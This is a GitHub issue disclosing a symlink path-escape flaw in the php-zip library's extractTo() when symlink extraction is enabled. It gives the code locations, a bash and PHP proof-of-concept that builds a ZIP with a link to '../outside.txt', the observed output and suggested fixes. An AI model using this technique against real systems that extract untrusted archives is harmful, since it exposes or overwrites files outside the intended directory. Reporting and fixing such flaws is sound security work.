Skip to content

php-zip symlink target boundary missing #101

Description

@kimdu0

php-zip symlink target boundary missing

Summary

Current php-zip validates only the destination entry path it constructs from the ZIP entry name. When symlink extraction is enabled, it stores the link payload and later calls FilesUtil::symlink($target, $linkPath, true) without checking whether $target escapes the extraction directory.

Details

I reproduced this against the tested upstream commit. Tested commit:

d25c2ab6b993157f18bc88a753a864ce23213f60 (2025-11-16T22:00:23+03:00)

Relevant code path:

  • php-zip/src/ZipFile.php lines 421-423: Unix symlink entries are identified and their raw target strings are queued in the $symlinks array.
  • php-zip/src/ZipFile.php lines 466-470: Queued symlinks are materialized after extraction by calling FilesUtil::symlink($target, $linkPath, $allowSymlink), with no containment or canonical-path validation on $target.
  • php-zip/src/Util/FilesUtil.php lines 284-290: When symlink extraction is allowed on Unix, FilesUtil::symlink() directly invokes PHP's symlink($target, $path) and performs no boundary check.

Root cause:

When ZipOptions::EXTRACT_SYMLINKS is enabled, extractTo() collects Unix symlink entries and later passes their raw target strings directly to symlink() without checking whether the resolved target stays inside the extraction root.

Related CVE reference: this is the same kind of bug as CVE-2024-12718 in python/cpython.

Reproduction

The following script fresh-clones php-zip, checks out the tested commit, creates a ZIP containing link_to_outside -> ../outside.txt, and calls the real ZipFile::extractTo() API with ZipOptions::EXTRACT_SYMLINKS => true.

#!/usr/bin/env bash
set -euo pipefail

PHP_ZIP_COMMIT="d25c2ab6b993157f18bc88a753a864ce23213f60"

workdir="$(mktemp -d)"
cleanup() {
  set +e
  chmod -R u+w "$workdir" 2>/dev/null || true
  rm -rf "$workdir"
}
trap cleanup EXIT

git clone --quiet https://github.com/Ne-Lexa/php-zip.git "$workdir/php-zip"
cd "$workdir/php-zip"
git checkout --quiet "$PHP_ZIP_COMMIT"

mkdir "$workdir/repro" "$workdir/repro/src"
printf 'PHP-ZIP-SYMLINK-OUTSIDE\n' > "$workdir/repro/outside.txt"
ln -s ../outside.txt "$workdir/repro/src/link_to_outside"
(cd "$workdir/repro/src" && zip -y -q "$workdir/repro/symlink.zip" link_to_outside)

cat > "$workdir/repro/extract_symlink.php" <<'PHP'
<?php
declare(strict_types=1);

$repoSrc = $argv[1];
$zipPath = $argv[2];
$dest = $argv[3];

spl_autoload_register(static function (string $class) use ($repoSrc): void {
    $prefix = 'PhpZip\\';
    if (strncmp($class, $prefix, strlen($prefix)) !== 0) {
        return;
    }
    $relative = substr($class, strlen($prefix));
    $file = rtrim($repoSrc, '/\\') . '/' . str_replace('\\', '/', $relative) . '.php';
    if (is_file($file)) {
        require $file;
    }
});

use PhpZip\Constants\ZipOptions;
use PhpZip\ZipFile;

mkdir($dest, 0777, true);
$entries = [];
$zipFile = new ZipFile();
$zipFile->openFile($zipPath)
    ->extractTo($dest, null, [ZipOptions::EXTRACT_SYMLINKS => true], $entries)
    ->close();

$link = $dest . '/link_to_outside';
echo 'DEST_LINK=' . $link . PHP_EOL;
echo 'DEST_LINK_IS_SYMLINK=' . (is_link($link) ? 'true' : 'false') . PHP_EOL;
echo 'DEST_LINK_TARGET=' . (is_link($link) ? readlink($link) : '') . PHP_EOL;
echo 'DEST_LINK_REALPATH=' . (realpath($link) ?: '') . PHP_EOL;
echo 'DEST_ROOT_REALPATH=' . realpath($dest) . PHP_EOL;
echo 'LINK_RESOLVES_OUTSIDE=' . ((realpath($link) !== false && strpos(realpath($link), realpath($dest) . DIRECTORY_SEPARATOR) !== 0) ? 'true' : 'false') . PHP_EOL;
PHP

php "$workdir/repro/extract_symlink.php" "$workdir/php-zip/src" "$workdir/repro/symlink.zip" "$workdir/repro/extract"

Observed result:

DEST_LINK=<temporary-directory>/repro/extract/link_to_outside
DEST_LINK_IS_SYMLINK=true
DEST_LINK_TARGET=../outside.txt
DEST_LINK_REALPATH=<temporary-directory>/repro/outside.txt
DEST_ROOT_REALPATH=<temporary-directory>/repro/extract
LINK_RESOLVES_OUTSIDE=true

Expected Behavior

Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.

Observed Behavior

extractTo() creates extract/link_to_outside as a symlink whose real path resolves to outside.txt outside the extraction root.

Impact

A malicious archive can plant symlinks inside the extracted tree that point outside the destination directory whenever the caller enables EXTRACT_SYMLINKS.

Suggested Fix Direction

  • Resolve the candidate symlink target against the link's parent directory and reject it unless the resolved path is equal to the extraction root or nested beneath it.
  • Treat absolute targets and relative targets that escape the root as unsafe, similar to the symlink-target checks used by tar-fs and zip-rs.
  • Add regression tests for '../outside_target' and absolute-target cases when EXTRACT_SYMLINKS is enabled.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions